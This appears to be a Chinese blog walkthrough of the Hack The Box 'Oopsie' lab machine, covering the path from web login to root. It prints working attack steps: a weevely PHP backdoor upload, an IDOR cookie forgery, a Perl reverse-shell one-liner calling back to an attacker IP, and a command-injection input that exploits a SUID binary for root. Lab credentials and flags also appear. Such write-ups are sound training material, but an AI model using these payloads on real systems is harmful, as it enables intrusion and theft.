zoukankan      html  css  js  c++  java
  • HTB-Oopsie

    正文

    User

    扫一下端口趴

    sudo nmap -sS -A -Pn 10.10.10.28

     这个有个80端口开放着尝试访问一下网站,发现了一个登录入口

    上sqlmap打一下,当然不用尝试了,打了一下午没打通,dirseacrh也没有什么结果,查了wp才知道这里的密码跟上一题通用的:admin,MEGACORP_4dm1n!! (实属吐血,)

    sqlmap -u http://10.10.10.28/cdn-cgi/login/ --data "username=123&password=123" --dbs --tables --columns --os-shell

    登录后提示要用super admin的权限才能进行下一步,如何用超级管理员登录?这里想到的是用它的cookie,查看当前的cookie

    只用两个cookie而且还是明文传输的,这里的user的值与Access ID一样,回到这个页面,观察到它的 URL:http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1,其中有很可疑的参数 id=1(来了该死的玄学)

    把这个id丢到burp中爆破一下,到30的时候出现了超级用户的role:86575

     修改cookie后成功上来,看到一个上传,试试可以不可以传一个后门

     后门用的是weely生成的 :weevely generate laolao back.php

    lao@laolao:~/桌面$ weevely 
    
    [+] weevely 4.0.1
    [!] Error: the following arguments are required: url, password
    
    [+] Run terminal or command on the target
        weevely <URL> <password> [cmd]
    
    [+] Recover an existing session
        weevely session <path> [cmd]
    
    [+] Generate new agent
        weevely generate <password> <path>
    
    lao@laolao:~/桌面$ weevely generate laolao back.php
    Generated 'index.php' with password 'laolao' of 751 byte size.
    lao@laolao:~/桌面$ 

    上传后,在/home里面找到了第一份flag,但是后门总是被删,这一点比较烦

    lao@laolao:~/桌面$ weevely http://10.10.10.28/uploads/back.php laolao
    
    [+] weevely 4.0.1
    
    [+] Target:     www-data@oopsie:/var/www/html/uploads
    [+] Session:    /home/lao/.weevely/sessions/10.10.10.28/back_0.session
    [+] Shell:      System shell
    
    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.
    
    weevely> 
    www-data@oopsie:/var/www/html/uploads $ cd
    www-data@oopsie:/ $ cd home
    www-data@oopsie:/home $ ls
    robert
    www-data@oopsie:/home $ cd robert
    www-data@oopsie:/home/robert $ ls
    user.txt
    www-data@oopsie:/home/robert $ cat user.txt
    f2c74ee8db7983851ab2a96a44eb7981
    www-data@oopsie:/home/robert $ 

    System

    然后逛一逛整个网站,在db.php中发现了另一个用户robert和他的密码:M3g4C0rpUs3r!

    www-data@oopsie:/var/www/html/cdn-cgi $                                                                           
    www-data@oopsie:/var/www/html/cdn-cgi $ cd login
    www-data@oopsie:/var/www/html/cdn-cgi/login $ ls                                                                  
    admin.php                                                                                                         
    db.php                                                                                                            
    index.php                                                                                                         
    script.js                                                                                                         
    www-data@oopsie:/var/www/html/cdn-cgi/login $ cat db.php
    <?php                                                                                                             
    $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');                                            
    ?>                                                                                                                
    www-data@oopsie:/var/www/html/cdn-cgi/login $ su robert
    su: must be run from a terminal 

    weevely中不可以切换用户,于是想到反弹shell,我选择的是Perl来反弹,这个的成功率高一点,payload如下:

    perl -e 'use Socket;$i="10.10.14.115";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    直接丢到weevely中执行以下,另一边nc开启监听,得到的反弹shell要把它转换成一个交互式shell才能切换用户(设置shell为/bin/bash,script 命令可以用作交互终端会话过程的记录,保留用户输入和系统输出的全过程。-q 是静默执行 把会话内容丢到黑洞/dev/null):

    SHELL=/bin/bash script -q /dev/null

     在查看Robert用户的属性时发现了一个特殊的用户组:bugtracker,检查一下,发现了一个:cat  /root/reports/,可以有root的权限,访问root用户的文件夹!!!

    robert@oopsie:/var/www/html/cdn-cgi/login$ id
    id
    uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

    robert@oopsie:/var/www/html/cdn-cgi/login$ strings /usr/bin/bugtracker strings /usr/bin/bugtracker /lib64/ld-linux-x86-64.so.2 ..... ------------------ : EV Bug Tracker : ------------------ Provide Bug ID: --------------- cat /root/reports/ ;*3$" GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0 ........

    那么就做一个指令叠加获得root的shell:123;/bin/bash

    robert@oopsie:/var/www/html/cdn-cgi/login$ bugtracker
    bugtracker
    
    ------------------
    : EV Bug Tracker :
    ------------------
    
    Provide Bug ID: 123;/bin/bash 
    123;/bin/bash 
    ---------------
    
    cat: /root/reports/123: No such file or directory
    root@oopsie:/var/www/html/cdn-cgi/login# cd /root
    cd /root
    root@oopsie:/root# ls
    ls
    reports  root.txt
    root@oopsie:/root# cat root.txt 
    cat root.txt
    af13b0bee69f8a877c3faf667f7beacf

    参考

    https://brucetg.github.io/2018/05/03/%E5%A4%9A%E7%A7%8D%E5%A7%BF%E5%8A%BF%E5%8F%8D%E5%BC%B9shell/

  • 相关阅读:
    Canvas 绘画
    h5内容初探
    border&background1
    css3选择器补充
    bootstrap
    css3文本和颜色
    css3边框与背景
    css3选择器
    jQuery之dom操作(取赋值方法)
    push.default
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/15125381.html
Copyright © 2011-2022 走看看